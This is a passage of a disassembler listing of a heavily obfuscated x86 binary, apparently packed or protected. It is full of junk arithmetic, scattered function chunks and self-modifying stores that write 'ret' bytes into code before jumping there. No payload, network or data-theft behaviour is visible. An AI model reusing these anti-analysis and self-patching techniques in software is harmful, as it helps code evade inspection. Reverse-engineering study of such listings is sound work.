AT 00747907 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747B8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748206 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748320 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748EC8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007493FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007494F7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00749B60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749EAA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074A6BF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B731 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0074B740 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074BA67 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0074BADF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C3D7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074D0BC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D4A4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074DC2D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074DD9B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EDEF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F477 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075036E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00750AEE SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00750BA5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750BC4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751398 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752203 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007525E2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00752A35 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00752D8B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753AEA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00753D4D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 007548FB SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0075610D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00756507 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 007567F7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00756D8E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00757800 SIZE 0000001A BYTES cmp dword ptr [eax-4], 4 jnz loc_74782D push offset sub_750A01 jmp nullsub_53 sub_747736 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_74774A: ; CODE XREF: sub_749980+B683j mov ecx, ebp adc edi, 528998ECh mov eax, [ecx] js loc_756E73 loc_74775A: ; CODE XREF: sub_749980:loc_7460CAj inc eax jmp loc_755069 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- loc_747760: ; CODE XREF: _0z4jwtox:007515C8j xor ebp, edi mov ebp, ecx ; START OF FUNCTION CHUNK FOR sub_7463AE loc_747764: ; CODE XREF: sub_7463AE:loc_7515BAj add edi, 30301FDCh mov [edi], eax pop edi lea eax, sub_7535F0 jmp loc_747F37 ; END OF FUNCTION CHUNK FOR sub_7463AE ; =============== S U B R O U T I N E ======================================= sub_747778 proc near ; CODE XREF: _0z4jwtox:00748AD7j ; sub_756741+3p ; FUNCTION CHUNK AT 0074665B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074E61B SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add esp, 0FFFFFFF4h mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] jmp loc_74E61B sub_747778 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_747790: ; CODE XREF: sub_749306:loc_7507D6j add edi, 7841DF55h xor edi, 1972BEBDh sub edi, 7D3D241Dh and edi, 0A1FDF77Bh add edi, 5F2C21F9h xchg edi, [esp+0] ; END OF FUNCTION CHUNK FOR sub_749306 ; START OF FUNCTION CHUNK FOR sub_747736 loc_7477B1: ; CODE XREF: sub_747736:loc_752D8Bj jmp sub_754E36 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_7477B6: ; CODE XREF: sub_7490F6-2820j or ecx, 56757A4h add ecx, 427C97CCh xchg ecx, [esp+0Ch+var_C] jmp loc_7484ED ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- mov ds:off_41F040, eax lea eax, loc_74ED3A mov byte ptr [eax], 0C3h jmp loc_74ED3A ; --------------------------------------------------------------------------- call nullsub_17 jmp ds:dword_41F044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_7477E9: ; CODE XREF: sub_74946E+92ABj jge loc_7524D1 loc_7477EF: ; CODE XREF: sub_747AEC+F337j jmp loc_755AF7 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ror esi, 0Eh jmp loc_747413 ; --------------------------------------------------------------------------- loc_7477FC: ; DATA XREF: sub_750C4E-8B4Eo push ecx mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_7532C7 ; =============== S U B R O U T I N E ======================================= sub_74780A proc near ; CODE XREF: _0z4jwtox:00746BABj ; sub_748BBE-690p xchg edx, [esp+0] pop edx loc_74780E: ; CODE XREF: sub_74C670:loc_755BF9j add eax, ebp add eax, 0D2611ADBh push offset loc_74BCBA jmp nullsub_32 sub_74780A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_747820 proc near ; CODE XREF: _0z4jwtox:0074BA58j ; sub_749608+2FD3p ; FUNCTION CHUNK AT 007458A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007505BB SIZE 00000005 BYTES xchg edi, [esp+0] pop edi or dword ptr [eax-8], 8 jmp loc_7505BB sub_747820 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74782D: ; CODE XREF: sub_747736+4j ; sub_75379A-74B7j jb loc_74BA83 cmp dword ptr [ebp-10h], 0 jmp loc_746F6A ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- jmp ds:off_41F114 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7513E4 loc_747842: ; CODE XREF: sub_7513E4+5j jmp loc_7546D1 ; END OF FUNCTION CHUNK FOR sub_7513E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7460F1 loc_747847: ; CODE XREF: sub_750D29:loc_746A58j ; sub_7460F1+19C8j ... pop edx jnz loc_747ABE mov eax, [esp-4+arg_0] jmp sub_74D7D4 ; END OF FUNCTION CHUNK FOR sub_7460F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_747856: ; CODE XREF: sub_74A96E:loc_75016Cj jz loc_74B031 jnb loc_754C77 loc_747862: ; CODE XREF: sub_74F73B:loc_75388Ej mov ebx, [edi] pop edi not edx cdq jmp loc_74B031 ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_74786D: ; CODE XREF: sub_746640+3407j shr ecx, 1Ch push 0A60667AEh test ebp, esi jmp loc_74FCC8 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- loc_74787C: ; CODE XREF: _0z4jwtox:0074A617j sub ebx, 6BE2573Eh ; =============== S U B R O U T I N E ======================================= sub_747882 proc near ; CODE XREF: sub_74FA7E-77Bp xchg edi, [esp+0] pop edi pop ebp retn sub_747882 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_747888: ; CODE XREF: _0z4jwtox:00751422j jmp loc_74D9A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BB8 loc_74788D: ; CODE XREF: sub_748BB8+1j jmp loc_7460D5 ; END OF FUNCTION CHUNK FOR sub_748BB8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_747892 proc near ; CODE XREF: _0z4jwtox:00746804p ; sub_749980+1C87p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00752E9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007578D4 SIZE 00000020 BYTES push ebp mov ebp, esp push ecx jmp loc_752E9F sub_747892 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_74789B: ; CODE XREF: sub_7544F1:loc_74D5BEj sub eax, 44A158B9h rol eax, 19h xor eax, 39C4122Fh call sub_746E93 rol eax, 17h add eax, 0D5820E56h jmp loc_753BEA ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- push esi mov esi, ecx xchg esi, [esp] push 5365831Dh loc_7478C8: ; CODE XREF: _0z4jwtox:00755BEEj xchg ebp, [esp] mov ecx, ebp pop ebp jmp loc_747C50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A67 loc_7478D3: ; CODE XREF: sub_747A67:loc_74FCA6j pop eax sub eax, 6A369865h xor eax, 7CCC8ED5h call sub_746E93 push esi jmp loc_74B98F ; END OF FUNCTION CHUNK FOR sub_747A67 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7478EC: ; CODE XREF: _0z4jwtox:0075002Ej jmp loc_7562AA ; --------------------------------------------------------------------------- loc_7478F1: ; DATA XREF: _0z4jwtox:0074BAB5o push 0F9DE301Ch xchg eax, [esp] mov ecx, eax pop eax xor ecx, 774BFEDh jmp loc_74A2F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_747907: ; CODE XREF: sub_747736-1575j test edx, 57601104h jmp loc_7450DC ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_747912: ; CODE XREF: sub_74E762+638Dj add ecx, 32F11067h mov edx, ebp sbb ecx, 4CDA0B5Dh jmp loc_7452FF ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- loc_747925: ; DATA XREF: sub_749FEE-25F0o mov eax, [esp] push edx call sub_753D0E mov eax, 7801B6BBh call sub_746E93 jmp loc_7515D8 ; --------------------------------------------------------------------------- add edx, 0D3EFC81Dh jmp loc_753794 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747948: ; CODE XREF: sub_747C22+C86j add eax, ebp add eax, 8867B2F7h mov eax, [eax] mov ecx, [eax+4] mov eax, [ebp-24h] jmp loc_756A60 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74795D: ; CODE XREF: sub_7501AF:loc_74F3B7j jz loc_755EEB jmp loc_74FB16 ; END OF FUNCTION CHUNK FOR sub_7501AF ; =============== S U B R O U T I N E ======================================= sub_747968 proc near ; CODE XREF: _0z4jwtox:0074F1C7j ; sub_74AAC1+6686p ; FUNCTION CHUNK AT 0074736F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C18F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007555CF SIZE 00000016 BYTES xchg ecx, [esp+0] pop ecx pop ebx jmp loc_74736F sub_747968 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_747972: ; CODE XREF: sub_74AAC1j push 4A4CEE2Fh jmp loc_745E51 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CA1D loc_74797C: ; CODE XREF: sub_74CA1D+15j sub eax, 0C2582F45h test eax, 20h jmp loc_74A494 ; END OF FUNCTION CHUNK FOR sub_74CA1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C10 loc_74798D: ; CODE XREF: sub_755C10+3j push ecx push edx push 0C4F70006h pop edx and edx, 0AE95D691h test edx, 10000h jmp loc_7566BD ; END OF FUNCTION CHUNK FOR sub_755C10 ; --------------------------------------------------------------------------- jle loc_754C5C jmp loc_7539A8 ; --------------------------------------------------------------------------- mov [ebx], edi jmp loc_750FBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_7479B8: ; CODE XREF: sub_74F78B-73A7j mov edi, edx xchg edi, [esp+0] call sub_74FACE push 1133B272h pop eax add eax, 1A32FF6Eh jmp loc_74E34D ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_7479D3: ; CODE XREF: sub_74FE55-76Dj and eax, 7417BD64h rol eax, 1Fh add eax, 8AF1D37Ch and eax, 87586481h add eax, 3C993BA8h call sub_746E93 jmp loc_74EF51 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749FEE loc_7479F8: ; CODE XREF: sub_749FEE+1j jno loc_7515EC push offset loc_747925 jmp nullsub_41 ; END OF FUNCTION CHUNK FOR sub_749FEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747A08: ; CODE XREF: sub_747C22:loc_749DECj jz loc_74AB2F jmp loc_7552F0 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_747A13: ; CODE XREF: sub_74A3AB:loc_749A0Dj rol edx, 7 test edx, 1 jmp loc_74BFC7 ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- mov edi, ebx shl edi, 7 jmp sub_74E685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749608 loc_747A2B: ; CODE XREF: sub_749608:loc_74EBC1j jz loc_74F2FD jmp loc_745128 ; END OF FUNCTION CHUNK FOR sub_749608 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_747A36: ; CODE XREF: sub_75275A-7AB4j push eax call sub_74C2C9 mov [ebp-4], eax call sub_7510EA cdq jmp sub_750DD4 ; END OF FUNCTION CHUNK FOR sub_75275A ; =============== S U B R O U T I N E ======================================= sub_747A4A proc near ; CODE XREF: sub_749576:loc_74841Dj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074A2BF SIZE 0000001A BYTES push ebx push 0D1738955h pop ebx add ebx, 0A1107C2Eh jmp loc_74A2BF sub_747A4A endp ; --------------------------------------------------------------------------- loc_747A5C: ; DATA XREF: sub_7476F4o call sub_747A67 jmp ds:off_41F17C ; =============== S U B R O U T I N E ======================================= sub_747A67 proc near ; CODE XREF: _0z4jwtox:loc_747A5Cp ; sub_747F9D:loc_747FAAj ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007478D3 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0074A949 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074B98F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074BD4D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074C9B4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074FC9B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00753140 SIZE 0000000A BYTES jnz loc_74A949 xchg esi, [esp+0] mov edx, esi jmp loc_74C9B4 sub_747A67 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov [ebp+0], ebx test ebp, ebx jmp loc_74F5B2 ; --------------------------------------------------------------------------- xor edi, ecx js loc_7480C6 jmp sub_75118C ; --------------------------------------------------------------------------- loc_747A8E: ; CODE XREF: _0z4jwtox:007554DFj add ebx, 18AFEE73h ; =============== S U B R O U T I N E ======================================= sub_747A94 proc near ; CODE XREF: sub_74F266+7p ; FUNCTION CHUNK AT 00745886 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074697A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007481DD SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007488BF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748A16 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074D2CD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EE58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EF5D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074FD36 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 007500A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007528F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753558 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007543D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007553DD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00756DEC SIZE 0000001E BYTES xchg ebx, [esp+0] pop ebx push esi push ecx jmp loc_7553DD sub_747A94 endp ; --------------------------------------------------------------------------- add ebx, 97400D3Ah jmp sub_74ED72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7460F1 loc_747AAA: ; CODE XREF: sub_7460F1:loc_74D41Fj ; _0z4jwtox:00755BE8j mov ds:off_41F114, eax lea eax, loc_747847 mov byte ptr [eax], 0C3h jmp loc_747847 ; --------------------------------------------------------------------------- loc_747ABE: ; CODE XREF: sub_7460F1+1757j ; sub_74F73B:loc_749F3Ej mov eax, [esp] push edi jmp loc_74BB3E ; END OF FUNCTION CHUNK FOR sub_7460F1 ; --------------------------------------------------------------------------- locret_747AC7: ; CODE XREF: _0z4jwtox:loc_749CA4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C2D loc_747AC8: ; CODE XREF: _0z4jwtox:loc_745F76j ; sub_750C2D+7D6j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_750C2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753F8B loc_747ACD: ; CODE XREF: sub_753F8B:loc_748A73j cmp eax, 9EED003Fh jmp loc_75719C ; END OF FUNCTION CHUNK FOR sub_753F8B ; --------------------------------------------------------------------------- mov ds:off_41F0A4, eax lea eax, loc_754618 mov byte ptr [eax], 0C3h jmp loc_74E846 ; =============== S U B R O U T I N E ======================================= sub_747AEC proc near ; CODE XREF: sub_4073B6+13Ap ; sub_4073B6+4A1p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 007458F0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00745B82 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074618E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00746838 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007472BE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074736A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747E74 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 007483C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007484D8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007498C0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074A622 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074A84F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B0CE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074B20D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074C601 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0074CAEA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074D00D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D1AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074D385 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0074D5B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DA68 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074DB56 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074DB8D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074DEB6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074E891 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F600 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074F821 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00750837 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075122E SIZE 0000001F BYTES ; FUNCTION CHUNK AT 007515FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751624 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751E78 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752798 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754E32 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00755624 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755F33 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075614B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756766 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007569A3 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00756E0A SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00757488 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075767D SIZE 00000005 BYTES js loc_7472BE push 0AA8E1369h jmp loc_74C601 sub_747AEC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_747AFC: ; CODE XREF: sub_7473E6+675Bj not ebp loc_747AFE: ; CODE XREF: sub_7473E6:loc_74B48Cj push offset loc_74A312 jmp loc_756B06 ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- loc_747B08: ; CODE XREF: _0z4jwtox:loc_74E739j mov byte ptr [eax], 0C3h jmp nullsub_4 ; --------------------------------------------------------------------------- push ebx push 7591DDC0h pop ebx add ebx, 2B797C82h or ebx, 30DBD23Fh add ebx, 4E98AF50h jmp loc_752138 ; --------------------------------------------------------------------------- loc_747B2E: ; CODE XREF: _0z4jwtox:00756C16j ror edi, 16h ; =============== S U B R O U T I N E ======================================= sub_747B31 proc near ; CODE XREF: sub_753116:loc_7512DFp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007451E7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007486D2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074D7EE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074D98A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F4E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007528D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753647 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754CE4 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 007557B6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00755C23 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx push ebp mov ebp, esp push edi mov edi, ecx xchg edi, [esp+0] jmp loc_753647 sub_747B31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edx push 0CAD79E71h pop edx xor edx, 0C8E20475h jmp loc_756845 ; --------------------------------------------------------------------------- loc_747B55: ; CODE XREF: _0z4jwtox:0074AB16j jz loc_74FCF3 ; =============== S U B R O U T I N E ======================================= sub_747B5B proc near ; CODE XREF: _0z4jwtox:0074C0E8p xchg edi, [esp+0] pop edi add eax, ebp add eax, 52440D36h mov eax, [eax] sub_747B5B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747B69: ; CODE XREF: sub_747C22:loc_74B7F4j jmp loc_756CF7 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_747B6E: ; CODE XREF: sub_7514AC+10EDj xchg esi, [esp+0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_7514AC ; =============== S U B R O U T I N E ======================================= sub_747B76 proc near ; DATA XREF: sub_74A3AB+417Ao var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00747B7E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074A78D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00750AB9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075483C SIZE 00000019 BYTES mov byte ptr [eax], 0C3h jmp loc_74A78D sub_747B76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B76 loc_747B7E: ; CODE XREF: sub_747B76:loc_74A78Dj pop edx mov eax, [esp-4+arg_0] push edx nop mov eax, 23829242h call sub_746E93 push ebx ; END OF FUNCTION CHUNK FOR sub_747B76 ; START OF FUNCTION CHUNK FOR sub_747736 loc_747B8F: ; CODE XREF: sub_747736:loc_7450DCj jmp loc_748206 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- mov eax, 510AEA73h call sub_746E93 push eax mov eax, esi xchg eax, [esp] push 55A552B2h pop esi jmp loc_7529D7 ; --------------------------------------------------------------------------- locret_747BAF: ; CODE XREF: _0z4jwtox:loc_7521EEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756F0D loc_747BB0: ; CODE XREF: sub_756F0D+5j jmp nullsub_227 ; END OF FUNCTION CHUNK FOR sub_756F0D ; --------------------------------------------------------------------------- add eax, ebp cdq jmp sub_74A47B ; --------------------------------------------------------------------------- loc_747BBD: ; CODE XREF: _0z4jwtox:0075714Cj cmp ecx, eax jmp loc_7504B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_747BC4: ; CODE XREF: sub_74C670-906j xor edi, 2485B0C8h jnb loc_7530D5 loc_747BD0: ; CODE XREF: sub_74C670:loc_7533D9j push 6508660Ch pop eax and eax, 69DFE158h add eax, 5B69CF98h rol eax, 7 and eax, 7014AAB8h jmp loc_74E8BB ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_747BF1: ; CODE XREF: sub_748DCB+C174j jmp loc_75097B ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_747BF6: ; CODE XREF: sub_747C22+C20Fj jmp loc_74956B ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_747BFB: ; CODE XREF: _0z4jwtox:0074B16Fj jmp loc_74E647 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7504F1 loc_747C00: ; CODE XREF: sub_7504F1-B0D9j jmp loc_74D62C ; END OF FUNCTION CHUNK FOR sub_7504F1 ; --------------------------------------------------------------------------- db 0BBh, 36h, 0E9h dword_747C08 dd 0 ; =============== S U B R O U T I N E ======================================= sub_747C0C proc near ; CODE XREF: sub_4157BF+F0p ; sub_416FD8+28p ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074B4C4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074B4DC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074BB17 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074CB3A SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074E233 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007501AD SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00757059 SIZE 00000005 BYTES push ebp mov ebp, edi xchg ebp, [esp+4+var_4] push 0E4E08B74h xchg ecx, [esp+8+var_8] mov edi, ecx jmp loc_74CB3A sub_747C0C endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_747C22 proc near ; CODE XREF: _0z4jwtox:loc_745D47j ; sub_746CF0:loc_746CFEp var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745148 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00745292 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007453E0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00745998 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00745D0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074625D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 007469CF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007469FE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00746F64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746FF7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00747176 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 007475F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747948 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00747A08 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747B69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747BF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747DC8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00747EAC SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00748096 SIZE 0000000B BYTES ; 